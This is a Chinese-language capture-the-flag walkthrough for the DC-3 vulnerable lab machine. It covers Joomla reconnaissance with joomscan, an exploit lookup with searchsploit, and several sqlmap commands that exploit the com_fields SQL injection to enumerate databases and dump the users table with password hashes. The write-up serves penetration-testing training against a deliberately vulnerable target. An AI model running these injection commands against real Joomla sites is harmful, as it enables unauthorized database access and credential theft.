DC-3复现

描述

DC-3 是另一个特意建造的易受攻击的实验室，旨在获得渗透测试领域的经验。

与之前的 DC 版本一样，这个版本是为初学者设计的，虽然这一次，只有一个标志，一个入口点，根本没有任何线索。

必须具备 Linux 技能和熟悉 Linux 命令行，以及一些基本渗透测试工具的经验。

对于初学者来说，谷歌可以提供很大的帮助，但你可以随时在@DCAU7 上给我发推文，寻求帮助，让你重新开始。但请注意：我不会给你答案，相反，我会给你一个关于如何前进的想法。

对于那些有 CTF 和 Boot2Root 挑战经验的人来说，这可能不会花你很长时间（事实上，它可能会花费你不到 20 分钟的时间）。

如果是这种情况，并且如果您希望它更具挑战性，您可以随时重做挑战并探索其他获得根和获得旗帜的方法。

开始

信息收集

扫描C段看找到目标机器的ip

然后看都开了哪些端口，扫到了80端口

直接访问ip看到这个网站用的是joomla的框架，那我们可以尝试利用joomscan工具获取更加详细的信息

因为kali并没有集成该工具，所以需要下载
安装命令apt install joomscan
安装好之后利用工具查看版本等信息joomscan -u http://192.168.207.142/

在报告中不仅仅看到了版本信息，还有后台的管理地址
再利用searchploit查找有关的漏洞

再用命令查看txt文本cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

从中我们得知漏洞的利用方法

渗透开始

sqlmap

直接跑payload

1	sqlmap -u "http://192.168.20.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到了5个数据库，直接查看joomladb数据库中的表

1	sqlmap -u "http://192.168.207.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

查列名

sqlmap -u "http://192.168.207.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  --risk=3 --level=5 --random-agent -D joomladb  -T "#__users" --columns   -p list[fullordering]

查找字段信息

1
2

sqlmap -u "http://192.168.207.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  --risk=3 --level=5 --random-agent -D joomladb  -T "#__users" -C "name,password,username" --dump   -p list[fullordering]